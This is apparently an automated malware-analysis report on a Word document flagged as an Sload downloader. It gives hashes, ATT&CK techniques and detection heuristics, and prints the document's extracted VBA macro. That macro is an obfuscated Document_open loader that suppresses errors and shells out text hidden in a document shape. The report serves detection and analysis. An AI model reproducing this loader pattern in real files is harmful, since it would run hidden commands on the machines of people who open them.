Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b6caafd4a0d43a29…

MALICIOUS

Office (OLE)

78.5 KB Created: 2018-11-07 11:39:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 905ee429e7db8a941093357a5b92f363 SHA-1: 2e46c58278916cf62c4f883640be48266fef3ec2 SHA-256: b6caafd4a0d43a292ba62be8560f2093b97d286264b2bdb06078b7bf654ee7e5
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.003 Windows Command Shell

The sample contains a VBA macro that executes a Document_Open subroutine. This subroutine constructs and executes a complex PowerShell command. The PowerShell command decodes a Base64 string, decompresses it, and then uses it to set an environment variable before executing further commands. This behavior is indicative of a downloader that fetches and executes a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1119 bytes
SHA-256: 0d8bc21b7fa683b85271c95baa79c09d365d753ccc5e5b1276189ad0b1188a05
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vrMFYIKGf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatDateTime (WkRAGZ + opmFZ + hiIMwA + YrhoOi) + cvKSz + amSph + mELbqL + tQJsRj
   FormatNumber UPRwW + diVwZ - cMwKNL + PjaVrm + jhNmwF + qtRvUV - tKVUc + FMkru
   Error YiCclY + otiUF * (PuLTf + OhNQr + WoqSCs + YhCIPN)
   TimeValue htuaKk + wRjBU + mSfPt + cVZFBO / (jUwVsr + CJzWUK) + zwsmSI + TtFcA
   FormatNumber (LHosMd + FAvqK / (BcTIuj + fYjSi))
Const SMkQNQChwj = 537095711 - 537095711
Shell@ Shapes(bqtrd + BLdIhjrw + 1 + IjzqazhQ + maVKG).TextFrame.TextRange.Text + iJCzhULb + lCYncjX, SMkQNQChwj
   FormatNumber fWAtL + TBEapT + jpNmu + aMoPSS - (OkRKrw + jSUdQq)
   TimeValue MuCrU + XjTbN + pZMiiM + caNCN - SjEmTI + jSDRjs + hTBCp + pjiKj + VwXhz + oCBSSw / SVLWWu + pmjIYK
   FormatDateTime SGASK + TiZpob + NqHia + Mjkuj + kVQUkW + XNthO
End Sub

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